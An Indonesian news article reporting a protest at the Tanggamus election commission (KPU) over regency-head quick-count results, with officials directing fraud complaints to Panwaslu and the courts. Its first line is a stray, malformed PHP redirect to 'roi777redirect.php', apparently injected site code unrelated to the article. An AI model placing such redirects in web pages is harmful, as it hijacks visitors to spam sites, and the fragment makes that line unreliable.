header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Ketua KPU: Silakan Laporkan Dugaan Kecurangan Pilbup Tanggamus ke Panwaslu! -
Ketua KPU: Silakan Laporkan Dugaan Kecurangan Pilbup Tanggamus ke Panwaslu!
JELASKAN PADA MASSA: Ketua KPU Tanggamus Otto Yuri Saputra (memegang mik) saat memberikan penjelasan pada massa pengunjuk rasa agar melaporkan tuntutan mereka ke Panwaslu Tanggamus sesuai jalur yang benar. (Foto-foto: AYP)

TRANSLAMPUNG.COM, TANGGAMUS – Sehari setelah ditinjau Kapolda Lampung dan dinyatakan aman, unjuk rasa justru pecah di Kabupaten Tanggamus. Jumat (29/6) siang, massa yang mengaku berasal dari berbagai elemen dan kelompok, menyasar Kantor Komisi Pemilihan Umum Tanggamus yang berada di komplek perkantoran pemkab setempat.

Beragam spanduk bertuliskan ketidakpuasan massa terhadap hasil quick count Pemilihan Bupati Tanggamus Rabu (27/6) kemarin, dibentangkan para demonstran. Tak hanya itu, beberapa tuntutan juga disampaikan melalui orasi yang dilakukan oleh beberapa koordinator lapangan (korlap) massa unjuk rasa.

SPANDUK TUNTUTAN: Itulah beragam spanduk berisi tuntutan massa unras yang dibentangkan saat berada di halaman Kantor KPU Tanggamus, Jumat (29/6) siang.
Orasi antara lain berisi tuntutan soal dugaan banyaknya masyarakat yang tidak menerima undangan memilih, padahal sudah masuk di Dafar Pemilih Tetap (DPT). Rendahnya tingkat partisipasi pemilih. Dan puncaknya, massa yang terdiri dari ratusan orang, menyerukan untuk diadakan pemungutan suara ulang.

Ratusan demonstran langsung diterima Ketua KPU Tanggamus Otto Yuri Saputra didampingi komisioner lainya. Kendati jumlah massa terbilang cukup besar dibandingkan aksi-aksi massa sebelumnya yang pernah ada di Tanggamus, namun penyampaian pendapat di muka umum itu tetap berlangsung aman dan kondusif. Sebab unjuk rasa dikawal ketat oleh puluhan gabungan anggota Polres Tanggamus, Kompi 4A Pelopor Brimob, serta personel Kodim 0424/Tanggamus.

BANJIRI KPU TANGGAMUS: Suasana massa pengunjuk rasa saat mendatangi kantor KPU setempat, Jumat (29/6) siang.
Di hadapan demonstran, Otto Yuri Saputra mengatakan, dalam kaitan tahapan pilkada, ada dua lembaga yang terlibat, yaitu KPU dan Panwaslu. KPU Tanggamus sebagai penyelenggara, sedangkan Panwaslu adalah badan yang mengawasi pelanggaran-pelanggaran. Baik yang dilakukan penyelenggara maupun oleh peserta pemilu.

“Medianya sudah ada. Sarananya juga sudah ada. Mohon laporkan kepada Panwaslu supaya kita dapat berjalan sesuai aturan yang berlaku. Sebab kami (KPU, Red), tidak bisa bertindak tanpa ada rekomendasi Panwaslu,” ujar Otto memberikan pengertian pada massa.

AKBP I Made Rasma: Menyampaikan Pendapat di Muka Umum adalah Hak Masyarakat

DIKONFIRMASI ikhwal tuntutan yang dikemukakan masa pengunjuk rasa, Kapolres Tangggamus AKBP I Made Rasma, S.I.K., M.Si. yang dijumpai di lokasi mengatakan, fenomena itu adalah keinginan masyarakat menyampaikan pendapat di muka umum. Dan hal itu merupakan hak setiap masyarakat.

“Mungkin itu sebagai aksi atas ketidakpuasan hasil quick count sementara. Saya kira itu masih hal yang wajar. Karena di dalam aturan juga diperbolehkan untuk menyampaikan pendapat di muka umum” jelas I Made Rasma.

Namun terkait content (isi) tuntutan yang disampaikan massa, terutama mengenai dugaan kecurangan dan sebagainya, kapolres menyebutkan, pembuktian hanya bisa dilakukan dari hasil persidangan. Untuk itu, kata dia, massa dipersilakan untuk mengajukan dugaan kecurangan melalui mekanisme dan tata-cara yang benar.

“Silakan mengajukan gugatan secara hukum lewat jalur yang sudah disediakan undang-undang. Di sini kami, Polri bersama TNI, siap untuk mengamankan tahapan pilkada ini,” tandas I Made Rasma yang diamini Dandim 0424 Letkol (Arh) Anang Hasto Utomo. (ayp)

News Reporter
Kepala Biro Tanggamus